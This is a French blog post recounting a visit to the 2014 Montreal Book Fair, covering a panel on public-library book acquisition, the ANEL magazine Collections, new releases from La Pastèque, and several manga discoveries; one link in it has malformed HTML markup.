Salon du livre 2014

Le 37e Salon du livre de Montreal s’est tenu au hall d’exposition de la <a href="https://www.google.ca/maps/place/Place+Bonaventure, document.write(“”); +Montreal, +QC+H3C/@45.499103, -73.5654594,16z/data=!4m2!3m1!1s0x4cc91a5c92bba9e3:0xb4f4c527716e1fde” target=”“new””>Place Bonaventure (Métro Bonaventure) du mercredi 19 au lundi 24 novembre sous le thème “Montréal, francosphère du livre.”
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C’est pour moi (en tant que blogeur-lecteur, ex-éditeur et aide-bibliothécaire) un événement incontournable alors, comme toutes les années, profitant de la
Journée des Professionnels, je suis allé l’explorer dans tout les sens (quadrillant tant dans le sens du cardo que dans celui du decumanus; j’ai marché en tout et pour tout 9.6 km !). J’ai assisté à un panel sur le processus d’acquisition en bibliothèque, visité des expositions, salué mes ami(e)s des Éditions Alire, fait quelques découvertes intéressantes (en SFFQ et en Manga), et croisé par hasard de nombreux auteurs — j’ai reconnu entre autres Ariane Gélinas, Dany Laferrière, Bryan Perro, Norbert Spehner, et Kim Thúy. J’ai aussi entendu dire qu’on y verrait quelques gros canons de la littérature (Emmanuel Carrère, Harlan Coben, Ken Follett, Katherine Pancol, Louise Penny, Kathy Reichs, Michel Tremblay, Louise Tremblay-D’Essiambre, etc.) ou de la BD (dont Delaf et Dubuc (Les Nombrils) et Haché (co-auteur de Lucky Luke)). Je partagerai donc avec vous mes impressions et découvertes… juste après le saut de page:


Mon premier arrêt a été pour le panel “Le processus d’achat des bibliothèques: nouveaux modèles d’affaires, nouvelles façons de travailler,” animé par Louise Guillemette-Labory, directrice associée des Bibliothèques de Montréal. Dans un premier temps, les chercheurs Frédéric Brisson (UdeS) et Stéphane Labbé (UQTR) nous ont présenté en primeur les résultats de leur enquête (à être publié dans les prochains mois) Le processus d’acquisition de livres des bibliothèques publiques au Québec. Ensuite, Manon Trépanier (libraire à la Librairie Alire), Micheline Perreault (bibliothécaire de Longueuil à la retraite), et Martin Dubois (bibliothécaire en chef du service des bibliothèques de Longueuil) nous ont présenté l’exemple concret des bibliothèques de Longueuil.

C’était assez intéressant mais étrangement je n’y ai rien entendu de radicalement nouveau. Où sont donc ces nouveaux modèles d’affaires? La principale (res)source des bibliothèques dans le processus d’achat de livres est bien sûr les libraires: certains titres populaires sont envoyés d’office, d’autres sont choisi en salles de montre par les bibliothécaires responsables de l’acquisition et certains sont aussi parfois acheté ponctuellement (achats locaux). Les autres outils qui contribuent aux choix de titres peuvent être les suggestions des usagers, les publications spécialisés (Les Libraires et leur revue, Lurelu), les palmarès et prix littéraires (des grands libraires, des journaux ou autres média (radio, TV)) ou encore les services documentaires spécialisés (Mémento, SDM). La sélection des titres est faite selon des critères tel que leur provenance (auteurs locaux ou étrangers), le potentiel d’emprunt, la notoriété/popularité de l’auteur, la qualité (palmarès, prix), le format (grand format ou format poche, richesse graphique de la couverture, couverture arrière détaillée, couverture rigide, etc.) et la façon dont un titre complètera ou améliorera la diversité de la collection. Le processus d’achat des livres électroniques est encore peu développé et, pour l’instant, mimique celui des livres papiers. Ce qui a été apparemment un aspect innovateur à Longueuil c’est comment ils ont dû harmoniser la gestion des bibliothèques et rationaliser le processus d’achat, en étroite collaboration avec leur libraire attitrée, afin de s’adapter à la structure des villes fusionnées et à la division par arrondissements.

En visitant l’exposition “La Bande Dessinée Québécoise” j’ai découvert la revue Collections, une publication bimestrielle de l’Association nationale des éditeurs de livres (ANEL) dont le numéro 6, consacré à la BD, était à l’honneur. Cette revue thématique a pour but de mettre en valeur la littérature d’ici auprès de nos bibliothèques. Les cinq autres numéros de la revue, tous disponible en ligne en format PDF, traitent des thématiques de la littérature jeunesse, la littérature au féminin, le roman historique, les Polars, thrillers et romans policiers, et les essais. Très informatif cette revue de la littérature d’ici pour les bibliothèques d’ici. Bien écrit, bien présenté, au graphisme agréable, je suis pas mal certains que tous (pas seulement les bibliothécaires) y trouveront des suggestions d’achat pour Noël et même le reste de l’année. À quand un numéro consacré à la Science Fiction et aux Fantastique Québecois ?

Ensuite je suis passé par le kiosque de La Pastèque (l’éditeur des Paul, de Michel Risque et de Red Ketchup) dont la nouveauté notoire est la version française de La Famille Carter, une BD biographique racontant l’histoire d’une famille considérée comme l’un des piliers de la musique country moderne. J’ai aussi eu la surprise de découvrir que l’intégrale du comic strip canadien-anglais Ben sera désormais publié par La Pastèque, en commençant avec le volume six qui devrait paraître en novembre. Dès que les droits des huit premiers tomes seront libre, La Pastèque entreprendra la réimpression des premiers volumes. Cette charmante série racontant la vie d’une couple de retraité et qui a gagné le cœur de nombreux lecteurs est prépubliée tous les jours dans plusieurs journaux.

Côté manga, j’ai remarqué que le volume 10 de Cesare est paru ici et j’ai fait la découverte de quelques nouveaux titres qui me semblent intéressants. Celui qui a la plus piqué mon intérêt est Eurêka! par Hitoshi IWAAKI (Parasite), publié chez Komikku. Au IIIe siècle avant J.C., durant la seconde guerre punique, alors qu’Hannibal échoue à conquérir la ville de Rome, les Romains assiègent la ville de Syracuse qui résiste grâce au génie d’Archimède! Autre perle que j’espère ajouter à ma liste de lecture: l’éditeur français Nobi Nobi!, qui se spécialise dans la traduction de livre jeunesse Japonais, viens de lancer la collection “Les Classiques en Manga” qui reprends en manga les grands classiques de la littérature jeunesse. Les premiers titres, parus en octobre, sont Les trois mousquetaires (Alexandre Dumas, illustré par Russkey; voir un extrait) et La Petite Princesse Sara (Frances Hodgson Burnett, illustré par Azuki NUNOBUKURO).

Deux autres titres me semblent possiblement intéressants. D’abord, Le nouveau Tom Sawyer par le duo UME (Ozawa Takahiro et Seo Asako) publié chez Komikku, un hommage à Mark Twain qui met en scène Chiharu, un jeune citadin qui découvre avec curiosité l’île de Hatena-Jima (voir un extrait). Puis, il y a La main d’Horus par Tatsuya SEKI, aussi publié chez Komikku, qui raconte l’histoire de Jûzaburô Kujô, un chirurgien à l’hôpital général d’Ôedo qui semble posséder pouvoir divin de guérison (voir un extrait). Le dessin ne m’impressionne pas mais cela mérite toute de même un petit coup d’oeil. [En passant, je hais quand les éditeurs n’ont pas de catalogue internet vers lequel je peux vous renvoyer pour les détails. Au moins Komikku a une page Facebook en attendant que leur site soit complèté…]

Bon, il se fait tard alors j’ajouterai un autre jour mes “découvertes” du côté de la SFFQ (au Druide, au Six-Brumes et, bien sûr, au Éditions Alire) ainsi que mon impression générale du salon…

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